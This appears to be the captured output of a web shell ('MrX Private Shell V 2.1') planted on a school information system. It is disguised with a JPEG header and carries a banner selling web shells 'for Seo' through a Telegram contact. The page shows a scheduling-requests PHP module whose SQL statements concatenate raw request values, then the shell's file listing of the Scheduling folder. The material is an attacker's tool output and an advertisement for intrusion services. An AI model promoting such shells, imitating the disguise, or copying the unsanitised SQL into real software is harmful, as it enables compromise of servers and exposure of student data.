����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
DrawHeader( ProgramTitle() );
Widgets( 'request' );
if ( ! UserStudentID() )
{
echo '<br />';
}
Search( 'student_id', $extra );
if ( ! $_REQUEST['modfunc'] && UserStudentID() )
{
$_REQUEST['modfunc'] = 'choose';
}
if ( $_REQUEST['modfunc'] == 'verify' )
{
$courses_RET = DBGet( "SELECT TITLE,COURSE_ID,SUBJECT_ID
FROM courses
WHERE SCHOOL_ID='" . UserSchool() . "'
AND SYEAR='" . UserSyear() . "'", [], [ 'COURSE_ID' ] );
DBQuery( "DELETE FROM schedule_requests
WHERE STUDENT_ID='" . UserStudentID() . "'
AND SYEAR='" . UserSyear() . "'" );
foreach ( (array) $_REQUEST['courses'] as $subject => $courses )
{
$courses_count = count( $courses );
for ( $i = 0; $i < $courses_count; $i++ )
{
$course = $courses[$i];
if ( ! $course )
{
continue;
}
$sql = "INSERT INTO schedule_requests (SYEAR,SCHOOL_ID,STUDENT_ID,SUBJECT_ID,COURSE_ID,MARKING_PERIOD_ID,WITH_TEACHER_ID,NOT_TEACHER_ID,WITH_PERIOD_ID,NOT_PERIOD_ID)
VALUES('" . UserSyear() . "','" .
UserSchool() . "','" . UserStudentID() . "','" . $courses_RET[$course][1]['SUBJECT_ID'] . "','" .
$course . "',NULL,'" . $_REQUEST['with_teacher'][$subject][$i] . "','" .
$_REQUEST['without_teacher'][$subject][$i] . "','" . $_REQUEST['with_period'][$subject][$i] . "','" .
$_REQUEST['without_period'][$subject][$i] . "')";
DBQuery( $sql );
}
}
echo ErrorMessage( $error, _( 'Error' ) );
$_SCHEDULER['student_id'] = UserStudentID();
$_SCHEDULER['dont_run'] = true;
require_once 'modules/Scheduling/Scheduler.php';
$_REQUEST['modfunc'] = 'choose';
}
if ( $_REQUEST['modfunc'] == 'choose' )
{
$functions = [ 'WITH_PERIOD_ID' => '_makeWithSelects', 'NOT_PERIOD_ID' => '_makeWithoutSelects' ];
$requests_RET = DBGet( "SELECT sr.COURSE_ID,c.COURSE_TITLE,sr.WITH_PERIOD_ID,sr.NOT_PERIOD_ID,sr.WITH_TEACHER_ID,sr.NOT_TEACHER_ID
FROM schedule_requests sr,courses c
WHERE sr.SYEAR='" . UserSyear() . "'
AND sr.STUDENT_ID='" . UserStudentID() . "'
AND sr.COURSE_ID=c.COURSE_ID", $functions );
echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=verify' ) . '" method="POST">';
DrawHeader( '', SubmitButton() );
$columns = [ '' ];
ListOutput( $requests_RET, $columns, 'Request', 'Requests' );
echo '<div class="center">' . SubmitButton() . '</div></form>';
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| AddDrop.php | File | 2.52 KB | 0644 |
|
| Courses.php | File | 52.23 KB | 0644 |
|
| IncompleteSchedules.php | File | 4.17 KB | 0644 |
|
| MassDrops.php | File | 9.03 KB | 0644 |
|
| MassRequests.php | File | 6.37 KB | 0644 |
|
| MassSchedule.php | File | 8.22 KB | 0644 |
|
| Menu.php | File | 2.4 KB | 0644 |
|
| PrintClassLists.php | File | 4.24 KB | 0644 |
|
| PrintClassPictures.php | File | 8.54 KB | 0644 |
|
| PrintRequests.php | File | 3.64 KB | 0644 |
|
| PrintSchedules.php | File | 14.09 KB | 0644 |
|
| Requests.php | File | 9.52 KB | 0644 |
|
| RequestsReport.php | File | 842 B | 0644 |
|
| Schedule.php | File | 27.21 KB | 0644 |
|
| ScheduleReport.php | File | 1.13 KB | 0644 |
|
| Scheduler.php | File | 20.4 KB | 0644 |
|
| functions.inc.php | File | 2.69 KB | 0644 |
|
| new_Requests.php | File | 2.28 KB | 0644 |
|